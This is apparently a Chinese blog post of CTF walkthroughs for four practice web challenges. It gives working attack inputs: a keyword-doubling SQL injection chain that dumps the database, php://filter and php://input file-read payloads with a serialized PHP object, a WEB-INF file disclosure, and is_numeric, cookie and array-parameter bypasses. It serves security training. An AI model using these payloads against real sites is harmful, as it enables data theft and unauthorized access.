本篇內容
[RoarCTF 2019]Easy Java
[極客大挑戰 2019]BabySQL
[ZJCTF 2019]NiZhuanSiWei
[極客大挑戰 2019]BuyFlag
[RoarCTF 2019]Easy Java
開頭一個登錄框,使用用戶名爲admin
,密碼爲admin888
登錄成功發現提示flag不在這裏(至於猜不到admin888倒是可以用字典暴破的,這裏不細寫)。
返回首頁點擊help
嘗試一番後發現不會寫,百度,大佬文章:[RoarCTF 2019]Easy Java。
截取重要的一段話:
WEB-INF主要包含一下文件或目錄:
/WEB-INF/web.xml:Web應用程序配置文件,描述了 servlet 和其他的應用組件配置及命名規則。
/WEB-INF/classes/:含了站點所有用的 class 文件,包括 servlet class 和非servlet class,他們不能包含在 .jar文件中
/WEB-INF/lib/:存放web應用需要的各種JAR文件,放置僅在這個應用中要求使用的jar文件,如數據庫驅動jar文件
/WEB-INF/src/:源碼目錄,按照包名結構放置各個java文件。
/WEB-INF/database.properties:數據庫配置文件
漏洞檢測以及利用方法:
通過找到web.xml文件,推斷class文件的路徑,最後直接class文件,在通過反編譯class文件,得到網站源碼。
一般情況,jsp引擎默認都是禁止訪問WEB-INF目錄的,Nginx 配合Tomcat做均衡負載或集羣等情況時,問題原因其實很簡單,Nginx不會去考慮配置其他類型引擎(Nginx不是jsp引擎)導致的安全問題而引入到自身的安全規範中來(這樣耦合性太高了)。
然後發現原來是要換請求方式啊,換了之後發現了是跟Tomcat有關的報錯,那就看看配置文件web.xml,在WEB-INF/web.xml。
看到了貌似與flag有關的東西com.wm.ctf.LoginController
,查看一下:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
看到Zmxh
字眼就知道base64的flag出來了,base64解密一下就能拿到最終flag。
[極客大挑戰 2019]BabySQL
熟悉的界面,類似與我之前寫的[極客大挑戰 2019]LoveSQL。
以下內容都是填在框中的,這裏這麼寫只是爲了方便表述。當然的,在hackbar下只需要將#改成%23即可。
username=1&password=123 //顯示 NO,Wrong username password!!!
username=1'&password=123 //報錯
username=1'#&password=123 //顯示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //顯示 Error!
看來是存在過濾了,嘗試後發現可以異或注入
,Fuzz模糊測試一下。
發現被過濾了好多啊,嘗試雙寫繞過
,成功。
以下內容都是填在框中的,這裏這麼寫只是爲了方便表述。當然的,在hackbar下只需要將#改成%23即可。
username=1' oorr 1=1#&password=123 //顯示 Login Success!
開始嘗試order by猜字段數
username=1' oorrder bbyy 4#&password=123 //顯示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123 //顯示 NO,Wrong username password,說明有3個字段
開始爆庫、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123 //顯示 Hello 2!Your password is '3',這裏表明有2,3兩個回顯位
username=1' ununionion seselectlect 1,database(),3#&password=123 //得到庫名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123 //得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123 //得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123 //得到flag
[ZJCTF 2019]NiZhuanSiWei
訪問網址給了一段源碼:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
//GET傳入的text參數要爲文件,用file_get_contents讀取後的值爲“welcome to the zjctf”
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
//GET傳入的file參數不能含有flag
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
文件包含的題目,嘗試讀取一下useless.php
,payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
然後POST:welcome to the zjctf
base64解密一下得到useless.php
內容:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
//讀取文件 $this->file 裏的內容
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
提示有個flag.php
,可惜不能直接用file得到flag.php的內容,因爲file不能含有flag字眼。
不過還有一個參數password
沒用上,注意到傳入的password會被反序列化然後輸出。
那就創建一個Flag對象,使其的$file屬性指向flag.php,因爲在Flag類裏有一個file_get_contents
方法將文件裏的內容讀取,然後echo輸出。將創建的Flag對象序列化後賦值給password。
$test = new Flag();
$test->file = 'flag.php';
echo serialize($test);
payload:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然後POST:welcome to the zjctf
拿到最終flag。
[極客大挑戰 2019]BuyFlag
點擊MENU裏的PAYFLAG
跳轉到如下頁面:
右鍵源代碼發現:
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
//POST的password不能爲數字
if (is_numeric($password)) {
echo "password can't be number</br>";
//password要等於404
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
這裏要讓password爲404,就需要繞過,這裏由於is_numeric()
函數存在漏洞,只需要在後面加一個%20
空格就可以繞過。
題目的“ You must be a student from CUIT!!! ”要求,我是用Google插件“EditThisCookie
”查看Cookie時發現有個user=0,改爲user=1
就能滿足這個條件。
題目的“ You must be answer the correct password!!! ”要求,POST一個password=404%20
就能繞過:
最後就是買flag了,POST一個money=100000000發現出問題了,傳入的太長了,想到是不是可以數組繞過,嘗試一下money[]=1
發現就得到了flag。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105436224
========================================================